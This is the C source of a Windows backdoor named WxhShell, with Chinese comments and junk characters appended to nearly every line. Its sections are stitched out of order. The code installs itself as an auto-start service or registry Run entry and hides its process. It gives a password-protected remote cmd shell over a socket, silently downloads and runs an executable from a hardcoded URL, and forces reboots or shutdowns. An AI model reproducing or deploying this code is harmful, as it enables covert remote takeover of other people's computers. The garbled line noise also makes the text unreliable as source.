    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] j?Fk$C  
    else { V@xnz)^t  
    closesocket(wsh); UY& W]  
    ExitThread(0); {$eZF_}Y^  
    } >v4~:n2D  
    break; W)P_t"'@L  
    } #7:9XID /  
  // 获取shell <YNPhu~5  
  case 's': { o;-! ?uJ  
    CmdShell(wsh); 2{tJ'3  
    closesocket(wsh); ~#x!N=q  
    ExitThread(0); (C[S?@S  
    break; ,&l*AB!  
  } lVBy&f  
  // 退出 rTiuQdvo  
  case 'x': { J#;m)5[ a%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <6@NgSFz'  
    CloseIt(wsh); Oua/NF)  
    break; jM@I"JZ b  
    } 2"K~:Tm#w  
  // 离开 !g:G{b  
  case 'q': { O6 J<Lqgh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (c7{dYV  
    closesocket(wsh); VrL>0d&d  
    WSACleanup(); g/Nj|:3  
    exit(1); 5DBd [u3  
    break; J_Xf:Mz-  
        } U"G+su->e  
  } o;P;=<  
  } (NV=YX?s  
WD1$"}R  
  // 提示信息 4Lq]yUj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q&S.C9W  
} ] ]-0RJ=S?  
  } _C#( )#  
H~K2`Cr)4  
  return; <NsT[r~C  
} Nfvg[c  
6$;)CO!h  
// shell模块句柄 KD*4n'm!>  
int CmdShell(SOCKET sock) r?>Hg+  
{ @g2L=XF  
STARTUPINFO si; /[T8/7;_l  
ZeroMemory(&si,sizeof(si)); TBp5xz`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #gT^hl5/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %),O9*[9  
PROCESS_INFORMATION ProcessInfo; R63d `W  
char cmdline[]="cmd"; nvs7s0@Fqe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a5S/ O;ry  
  return 0; B{KD  ]  
} ~ +$><qj  
2|o$eq3t  
// 自身启动模式 vw 2@}#\:  
int StartFromService(void) 6%y: hLT  
{ P &._ -[  
typedef struct \kO_"{7n  
{ "Y0[rSz,UW  
  DWORD ExitStatus; Jxp'.oo[  
  DWORD PebBaseAddress; !XC7F UO  
  DWORD AffinityMask; ?P]md9$(+e  
  DWORD BasePriority; 1mM52q.R4  
  ULONG UniqueProcessId; |B.d7@{mM  
  ULONG InheritedFromUniqueProcessId; #8|NZ6x,  
}   PROCESS_BASIC_INFORMATION; eci\Q,   
&Wk<F3qN  
PROCNTQSIP NtQueryInformationProcess; 5X-(@GwN  
V lNzm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sw)ftC~d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 03;(v%  
/LzNr0>2  
  HANDLE             hProcess; =w>QG{-N  
  PROCESS_BASIC_INFORMATION pbi; #pFybk  
S5!2%-;<k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %>z}P&Yz  
  if(NULL == hInst ) return 0; gf>5xf{M  
;zG|llX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R6Lr]H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); > `M\xt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "YZ`g}sG  
1OL~)X3  
  if (!NtQueryInformationProcess) return 0; \ed(<e>  
5gEK$7Vp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vX%gcs/@  
  if(!hProcess) return 0; ~?r6Ax-R  
$!@f{9+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7 #N @B  
c6|&?}F  
  CloseHandle(hProcess); jL1UPN  
p,fin?nW c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); G_]mNh  
if(hProcess==NULL) return 0; p(>'4#|qy  
W&#Nk5d  
HMODULE hMod; G7?EaLsfQ  
char procName[255]; N h%8;  
unsigned long cbNeeded; v~3q4P  
NKrk*I"G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &aOOG8l  
Y$^QH.h  
  CloseHandle(hProcess); q?\D9aT9  
HC+R :Dz  
if(strstr(procName,"services")) return 1; // 以服务启动 #>'0C6Xn  
/-lmfpT  
  return 0; // 注册表启动 2F(j=uV+  
} v/dcb%  
*<1m 2t>.  
// 主模块 UHWun I S  
int StartWxhshell(LPSTR lpCmdLine) d8po`J#nb  
{ ZW"J]"A  
  SOCKET wsl; $mlcaH  
BOOL val=TRUE; #'P&L>6 ;  
  int port=0; ^;d;b<  
  struct sockaddr_in door; /_8V+@im  
G39t'^ZK*#  
  if(wscfg.ws_autoins) Install(); v\vn}/>*d  
I%Z &i-33y  
port=atoi(lpCmdLine); b`mEnI VIz  
Tj:F Qnx  
if(port<=0) port=wscfg.ws_port; vvCGzOv  
JAK*HA  
  WSADATA data; zZ63 P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T5)?6i -N  
W2^R$"U  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "cx" d:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m" Gr pE3  
  door.sin_family = AF_INET; Y/gCtSF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2S3F]fG0  
  door.sin_port = htons(port); B!0[LlF+  
y\x<!_&D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Cpl)byb  
closesocket(wsl); qI}Zg)q]  
return 1; sr4K-|@  
} ORNE>6J H  
y-YYDEl  
  if(listen(wsl,2) == INVALID_SOCKET) { sQw-#f7t  
closesocket(wsl); 2Xosj(H  
return 1; Rk<:m+V=  
} ( _2eiE71  
  Wxhshell(wsl); l:+1j{ d7  
  WSACleanup(); _C?K;-v}  
]@EjKgs  
return 0;  I g`#U~  
IftPN6(Z  
} {#MViBhd%  
&IPT$=u  
// 以NT服务方式启动 hwJ.M4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $HRpG  
{ ^*W3{eyi(L  
DWORD   status = 0; Oqyh{q%]  
  DWORD   specificError = 0xfffffff; +e\u4k{3V  
8eNGPuoL)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7^1ikmYY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [0 $Y@ek[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `?:'_K i  
  serviceStatus.dwWin32ExitCode     = 0; W!g ,  
  serviceStatus.dwServiceSpecificExitCode = 0; !**q20-aP  
  serviceStatus.dwCheckPoint       = 0; tB[K4GNSQ  
  serviceStatus.dwWaitHint       = 0; R)v`ZF,/b  
8cHZBM7'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V+Z22  
  if (hServiceStatusHandle==0) return; ;8!D8o(+  
+=O:z *O  
status = GetLastError(); ;iEqa"gO  
  if (status!=NO_ERROR) E_? M&  
{ <]<50  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m~v Ie c  
    serviceStatus.dwCheckPoint       = 0;  EpiagCS  
    serviceStatus.dwWaitHint       = 0; |R4](  
    serviceStatus.dwWin32ExitCode     = status; x/ez=yd*l  
    serviceStatus.dwServiceSpecificExitCode = specificError; xucV$[f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tU(6%zvR  
    return; 0o#lB^e;l  
  } R$\ieNb  
^m~=<4eX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C]k\GlhB  
  serviceStatus.dwCheckPoint       = 0; NQb?&.C   
  serviceStatus.dwWaitHint       = 0; 8/=2N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L.5GX 29  
} c;WS !.  
w v1R ]3}  
// 处理NT服务事件,比如:启动、停止 TS-[p d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (mzyA%;W  
{ _ &T$0SZco  
switch(fdwControl) 2iUF%>  
{ @{bf]Oc  
case SERVICE_CONTROL_STOP: !"wIb.j }0  
  serviceStatus.dwWin32ExitCode = 0; QRRZMdEGs[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; up`6IWlLE  
  serviceStatus.dwCheckPoint   = 0; *Hs5MXNu  
  serviceStatus.dwWaitHint     = 0; Lczcz"t  
  { h0GXN\xI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hAY_dM  
  } [=iq4F'7  
  return; f"[C3o2P  
case SERVICE_CONTROL_PAUSE: (Fu9lW}n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 35ng_,t $  
  break; _|F h^hq  
case SERVICE_CONTROL_CONTINUE: u+]zi"k^s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]$7|1-&Y  
  break; =[P||  
case SERVICE_CONTROL_INTERROGATE: M|\ XFO  
  break; g}f@8;TY  
}; ;;2s{{(R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <|{=O9  
} P\Ka'i  
Mqna0"IYx*  
// 标准应用程序主函数 'rSM6j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F:n7yey  
{ vnKUD|  
(h E^<jNR  
// 获取操作系统版本 v"^G9u  
OsIsNt=GetOsVer(); [[Z*n/tr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $+Xohtt  
:/u EPki  
  // 从命令行安装 #jnb6v=5v  
  if(strpbrk(lpCmdLine,"iI")) Install(); cc@y  
TG!sck4/-Q  
  // 下载执行文件 n|8fdiK#}  
if(wscfg.ws_downexe) { /m%;wH|6%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qml<JF  
  WinExec(wscfg.ws_filenam,SW_HIDE); j_k!9"bt  
} VlK WWQj  
O)&V}hU*  
if(!OsIsNt) { Z/%>/  
// 如果时win9x,隐藏进程并且设置为注册表启动 Hi )n]OE  
HideProc(); rK"x92P0  
StartWxhshell(lpCmdLine); IF<jq\M  
} -?j'<g0  
else tFG&~tNc  
  if(StartFromService()) |_Vlw&qu+  
  // 以服务方式启动 f- _~rQ  
  StartServiceCtrlDispatcher(DispatchTable); 1;>J9  
else sVGyHA  
  // 普通方式启动 d^ w6_  
  StartWxhshell(lpCmdLine); "wdC/  
6<gh:vj  
return 0; zh7NXTzyf  
} aK 'BC>uFI  
v&|o5om  
Mu TlN  
E<0Y;tR  
=========================================== "Ln)v   
%?K'eg kp  
<5=^s%H  
*!vwW T  
li(g?|AD  
|SCO9,Fs  
" w?Y;pc}1B  
@2V#bK  
#include <stdio.h> L_Z>*s&  
#include <string.h> q5Z]Z.%3O  
#include <windows.h> c1c8):o+V  
#include <winsock2.h> )A,M T i  
#include <winsvc.h> 7V?TLGgd$  
#include <urlmon.h> \#L}KW  
(r.[b  
#pragma comment (lib, "Ws2_32.lib") bIR7g(PJ.b  
#pragma comment (lib, "urlmon.lib") Rkgpa/te"  
FK<1SOE  
#define MAX_USER   100 // 最大客户端连接数 r"c<15g2'  
#define BUF_SOCK   200 // sock buffer =5J}CPKbZI  
#define KEY_BUFF   255 // 输入 buffer EP,lT.u3  
n{aD4&  
#define REBOOT     0   // 重启 OLTgBXh  
#define SHUTDOWN   1   // 关机 'V/+v#V+>  
eX>x +]l6  
#define DEF_PORT   5000 // 监听端口 U8 '}(  
TF2'-"2Y  
#define REG_LEN     16   // 注册表键长度 h<JV6h:8  
#define SVC_LEN     80   // NT服务名长度 C`Zz\DNG@  
&Yb!j  
// 从dll定义API O(#DaFJv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); icH\(   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^i:%0"[*^i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qi!+ Ceo}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5NH NnDhuL  
T@Mrbravc  
// wxhshell配置信息 OF-$*  
struct WSCFG { 'a[|'  
  int ws_port;         // 监听端口 t[ cHdI  
  char ws_passstr[REG_LEN]; // 口令 .]24V!J(1w  
  int ws_autoins;       // 安装标记, 1=yes 0=no q-}q rg  
  char ws_regname[REG_LEN]; // 注册表键名 4J{6Wt";  
  char ws_svcname[REG_LEN]; // 服务名 $9bLD >.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 opc`n}Fc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?cF`T/z]"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "2# #Fcu=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  Jpm=V*P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Mh3Tfp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sN"<baZ  
l$ ^LY)i  
}; $bOiP  
B)*?H=f/  
// default Wxhshell configuration vq/3a  
struct WSCFG wscfg={DEF_PORT, (l}W\iB' d  
    "xuhuanlingzhe", '*lVVeSiFw  
    1,  >cw%ckE  
    "Wxhshell", gaV>WF  
    "Wxhshell", Qh3BI?GZ'3  
            "WxhShell Service", }LeizbU  
    "Wrsky Windows CmdShell Service", wwUa+6?  
    "Please Input Your Password: ", (ZSd7qH"  
  1, d;@"Naw  
  "http://www.wrsky.com/wxhshell.exe", ~HBQQt  
  "Wxhshell.exe" VUmf;~  
    }; cao=O \Y7  
VH M&Y-G  
// 消息定义模块 FLUvFD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l$/.B=]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2+s#5K&i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; owQSy9Az  
char *msg_ws_ext="\n\rExit."; zo83>bt  
char *msg_ws_end="\n\rQuit."; P@| W \  
char *msg_ws_boot="\n\rReboot..."; $Y`oqw?g+^  
char *msg_ws_poff="\n\rShutdown..."; JCO+_d#x  
char *msg_ws_down="\n\rSave to "; Gu@n1/m@o  
37<^Oly!  
char *msg_ws_err="\n\rErr!"; %>Q[j`9y  
char *msg_ws_ok="\n\rOK!"; G{CKb{  
h(C@IIO^;G  
char ExeFile[MAX_PATH]; ]sLdz^E3D  
int nUser = 0; p?-qlPl  
HANDLE handles[MAX_USER]; x/NjdK  
int OsIsNt; i/|}#yw8A  
fQQj2> 3w  
SERVICE_STATUS       serviceStatus; ;-kC&GZf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R`KlG/Tk  
` {/"?s|  
// 函数声明 qBF6LhR  
int Install(void); i+90##4<?  
int Uninstall(void);  Z2a~1BL  
int DownloadFile(char *sURL, SOCKET wsh); WF] |-)vw  
int Boot(int flag); ghGpi U$  
void HideProc(void); pF/s5z  
int GetOsVer(void); q{Ao j  
int Wxhshell(SOCKET wsl); P"[\p|[U  
void TalkWithClient(void *cs); owviIZFe  
int CmdShell(SOCKET sock); X{Ij30Bmv  
int StartFromService(void); 0hg4y  
int StartWxhshell(LPSTR lpCmdLine); e1Q   
%-fQ[@5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); swKqsN.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]$~\GE^  
I >aKa  
// 数据结构和表定义 dOX"7kZ  
SERVICE_TABLE_ENTRY DispatchTable[] = ?k`UQi]Q  
{ 'D'H)J  
{wscfg.ws_svcname, NTServiceMain}, "O~7s}  
{NULL, NULL} @)XR  
}; Tm\a%Z`U>  
>=1Aa,_tc  
// 自我安装 U3u j`Oq  
int Install(void) y**YFQ*sc  
{ 7bk`u'0%  
  char svExeFile[MAX_PATH]; HSR,moI  
  HKEY key; \AeM=K6q+D  
  strcpy(svExeFile,ExeFile); Pj8W]SA_  
W#&BU-|2  
// 如果是win9x系统,修改注册表设为自启动 X'{ o/U.  
if(!OsIsNt) { smKp3_r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TXT!Ae  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dWTc3@xd  
  RegCloseKey(key); xc}kDpF=g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |@5G\N-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `*WzHDv5p  
  RegCloseKey(key); IY hwFw 5O  
  return 0; hx!:F"#  
    } @>*r2=#14  
  } `y>BbJqy  
} ~6=aoF5"3?  
else { a$K6b5`>Rs  
osn ,kD*  
// 如果是NT以上系统,安装为系统服务 +2+|zXmT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oT0:Ny  
if (schSCManager!=0) U1Y0G[i)  
{ k%R(Qga  
  SC_HANDLE schService = CreateService qnFg7X>C,  
  ( c+{ ar^)*  
  schSCManager, W2 {4s 1  
  wscfg.ws_svcname, .On3ZN  
  wscfg.ws_svcdisp, h<G7ocu!  
  SERVICE_ALL_ACCESS, f}EsS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RK/>5  
  SERVICE_AUTO_START, :}-VLp4b  
  SERVICE_ERROR_NORMAL, rn]F97v@]  
  svExeFile, ,]tEh:QC  
  NULL, ;o158H$gz;  
  NULL, [>LO'}%  
  NULL, RR2M+vQ  
  NULL, JmC2buO  
  NULL dDA,Ps  
  ); fu iTy72  
  if (schService!=0) D+u\ORj  
  { t>P[Yld"  
  CloseServiceHandle(schService); G<P/COI#M5  
  CloseServiceHandle(schSCManager); `ff@f]|3^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >}B53.;.k  
  strcat(svExeFile,wscfg.ws_svcname); c*r@QmB:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9a#Y D;-p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LJA uTg  
  RegCloseKey(key); 5Y 7 %Z  
  return 0; m2HO .ljc  
    } OaKr_m  
  } tkQrxa|  
  CloseServiceHandle(schSCManager); !yvw5As%  
} W/VE B3P>Z  
} drvz [ 9;  
f\FqZ?w  
return 1; 0v#p4@Z  
} /IlO   
_FU}IfG>t  
// 自我卸载 3:<[;yo  
int Uninstall(void) F-XMy>9  
{ *^KEb")$  
  HKEY key; <sn,X0W  
 PZY6 I  
if(!OsIsNt) { K#Xl)h}y7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3e>U(ES  
  RegDeleteValue(key,wscfg.ws_regname); .e4upT GU  
  RegCloseKey(key); +i[@+`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~Rx`:kQ  
  RegDeleteValue(key,wscfg.ws_regname); ^A=2#j~H\  
  RegCloseKey(key); WD5jO9Oai  
  return 0; : )y3 &I  
  }  /i   
} kkJ8xyO  
} PzT@q\O  
else { --k!KrL  
MwX8FYF D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1+ [,eq  
if (schSCManager!=0) `QZKW  
{ \p%D;g+c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )=cJW(nfP  
  if (schService!=0) 9I}Uh#]k<  
  { Rp!"c  
  if(DeleteService(schService)!=0) { !}5+hj!6  
  CloseServiceHandle(schService); Vh^ :.y   
  CloseServiceHandle(schSCManager); qoZe<jW (  
  return 0; 2V~uPZ  
  } #%pY,AK:=  
  CloseServiceHandle(schService); E2tUL#  
  } ] K+8f-  
  CloseServiceHandle(schSCManager); 3v&Shb?xb;  
} `<#O8,7`  
}  N!Xn)J  
"([lkn  
return 1; 3m~,6mQ  
} Q[FDk63;w  
I+`>e*:@W  
// 从指定url下载文件 P F);KQ  
int DownloadFile(char *sURL, SOCKET wsh) 2k m0  
{ }rnu:7  
  HRESULT hr; p&\DG  
char seps[]= "/";  C~^T=IP  
char *token; 2Ima15^+F  
char *file; nGsFt.  
char myURL[MAX_PATH]; JE#H&]  
char myFILE[MAX_PATH]; ^F- 2tc  
s@g _F  
strcpy(myURL,sURL); p}JGx^X ~  
  token=strtok(myURL,seps); o?+?@Xb'  
  while(token!=NULL) DH bS=Iih  
  { a@AIv"q  
    file=token; RjR+'<7E^  
  token=strtok(NULL,seps); E>:#{%  
  } 'e6J&X  
=BbXSwv'(  
GetCurrentDirectory(MAX_PATH,myFILE); 8Pva]Q  
strcat(myFILE, "\\"); 7jr+jNsowj  
strcat(myFILE, file); hu7o J H  
  send(wsh,myFILE,strlen(myFILE),0); 8Q0/kG  
send(wsh,"...",3,0); +:Nz_l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |,({$TrF  
  if(hr==S_OK) Y\ ;hjxR-  
return 0; F6\4[B  
else 7\X_%SM%  
return 1; ulk/I-y  
s){VU2.ra  
} :fUNc^\2  
U lCw{:#F  
// 系统电源模块 Nr}O6IJ>Sg  
int Boot(int flag) xZ* B}O{{H  
{ b2RW=m-  
  HANDLE hToken; >"z`))9  
  TOKEN_PRIVILEGES tkp; FE:} D ;$  
^W`RBrJay  
  if(OsIsNt) { x_<,GE@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3JD"* <zs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9yu#G7  
    tkp.PrivilegeCount = 1; 'j?H >'t{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I0;gTpt9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zm_8{Rta}  
if(flag==REBOOT) { ZkdSgc')  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >.H}(!  
  return 0; ^)'D eP/  
} 4F<wa s/  
else { $7-S\sDr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) - /cf3  
  return 0; fp`m>} -  
} n?S)H=  
  } R*lq.7   
  else { 9|NF)~Q}'  
if(flag==REBOOT) { G @]n(\7Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'R#MH  
  return 0; ]ki) (Bb  
} <e wcWr  
else { xa 967Ki9"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dc 84^>l  
  return 0; dKevhm)R"  
} 5A%Uv*  
} ]vw%J ^7:a  
FTzc,6  
return 1; u Tdz$Nh  
} 7.+vp@+  
) % gU  
// win9x进程隐藏模块 :OqEkh"$#  
void HideProc(void) #miG"2ea..  
{ <p?oFD_e4  
8|u8J0^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jN(c`Gb  
  if ( hKernel != NULL ) Tt_QAIl  
  { ,>nf/c0.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K.}jyhKIKi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -I z,vd  
    FreeLibrary(hKernel); TxKNDu  
  } *ozXilO  
;Y`8Ee4vH  
return; !u/c'ZLZ>  
} i-4?]h k  
CUft  
// 获取操作系统版本 @Y ?p-&  
int GetOsVer(void) 5kHU'D  
{ 31F^38  
  OSVERSIONINFO winfo; DD6K[\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E{\T?dk1$  
  GetVersionEx(&winfo); V<U9Pj^?^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q AsTiT6r  
  return 1; 1l^ `  
  else 5!57<n  
  return 0; T?1e&H%USV  
} l=a< =i  
$J]NWgXl@  
// 客户端句柄模块 1C/Vwf:@  
int Wxhshell(SOCKET wsl) hD,xJ]zv1  
{ R[#B|$  
  SOCKET wsh; R$">  
  struct sockaddr_in client; KB{/L5  
  DWORD myID; A>)W6|m|  
oJc7a z  
  while(nUser<MAX_USER) rT;_"y}  
{  ,0i72J  
  int nSize=sizeof(client); 7p {2&YhB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KPZqPtb;  
  if(wsh==INVALID_SOCKET) return 1; %4/X;w\3  
20M]gw]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cA{,2CYc  
if(handles[nUser]==0) \}gITc).j  
  closesocket(wsh); N*KM6j  
else " "CNw-^t  
  nUser++; u~Y+YzCxV  
  } V9;IH<s:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Vp8!-[R  
_1jeaV9@  
  return 0; K~qKr<)  
} w3Dqpo8E  
0{stIgB$  
// 关闭 socket l HZ4N{n  
void CloseIt(SOCKET wsh) -(E-yC u  
{ Q.f D3g  
closesocket(wsh); +X>Aj=#  
nUser--; o<g1;  
ExitThread(0); Wa iM\h?=#  
} ciN*gwI)  
ko~e*31_E  
// 客户端请求句柄 JNI&]3[C>?  
void TalkWithClient(void *cs) p(yHB([8  
{ G.^^zmsM`  
T1RICIf 1F  
  SOCKET wsh=(SOCKET)cs; ,!98V Jmr  
  char pwd[SVC_LEN]; iUS?xKN$~-  
  char cmd[KEY_BUFF]; F[X;A\  
char chr[1]; rWp+kV[Ec>  
int i,j; u}jC$T>2%6  
't475?bY  
  while (nUser < MAX_USER) { I.1(qbPkF+  
CSr2\ogT  
if(wscfg.ws_passstr) { y*lAmO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k[1w] l8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I$f'BAw  
  //ZeroMemory(pwd,KEY_BUFF); qITd.< k  
      i=0; X- SR0x  
  while(i<SVC_LEN) { ,(kaC.Em  
J^mm"2  
  // 设置超时 oho~?.F  
  fd_set FdRead; WAVEwA`r  
  struct timeval TimeOut; UJ&gm_M+kL  
  FD_ZERO(&FdRead); 3`ze<K((  
  FD_SET(wsh,&FdRead); ?9z1'6  
  TimeOut.tv_sec=8; {InW%qSn_  
  TimeOut.tv_usec=0; @Z@S;RWSU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #/WjKr n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /$UWTq/C7  
l^v,X%{Iz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lH>6;sE  
  pwd=chr[0]; 9YwS"~Q =w  
  if(chr[0]==0xd || chr[0]==0xa) { C+-sf  
  pwd=0; q94*2@KV  
  break; 2VkA!o4nP  
  } K$-|7tJon  
  i++; ZRC7j?ui8`  
    } 4Gsq)i17j  
S{~j5tQv^q  
  // 如果是非法用户,关闭 socket lp5 b&I_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,fyqa  
} t=dZM}wj_\  
$# b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,.,Y{CP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V V Aw y6  
9<*<-x{A17  
while(1) { 2*0n#" L  
'V*8'?  
  ZeroMemory(cmd,KEY_BUFF); ~tqNxlA  
62>/0_m5  
      // 自动支持客户端 telnet标准   w6'8L s  
  j=0; o6S`7uwJ*/  
  while(j<KEY_BUFF) { kk/vgte-)e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +/Vzw  
  cmd[j]=chr[0]; BWsD~Ft  
  if(chr[0]==0xa || chr[0]==0xd) { bpfSe  
  cmd[j]=0; CfHPJ: Qo[  
  break; g)iw.M2  
  } zfUkHL6  
  j++; xf8.PqVNo  
    } rB3b  
B zr}+J  
  // 下载文件 Y\{lQMCy  
  if(strstr(cmd,"http://")) { 7 6S>xnN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jry643K>:;  
  if(DownloadFile(cmd,wsh)) GC~N$!*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Z%8X!Q  
  else t Ow[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b/eo]Id]  
  } w7_2JS  
  else { T q5F'@e  
Q9 RCN<!  
    switch(cmd[0]) { c]:@y"W5$  
  IeJ@G)  
  // 帮助 axd9b,  
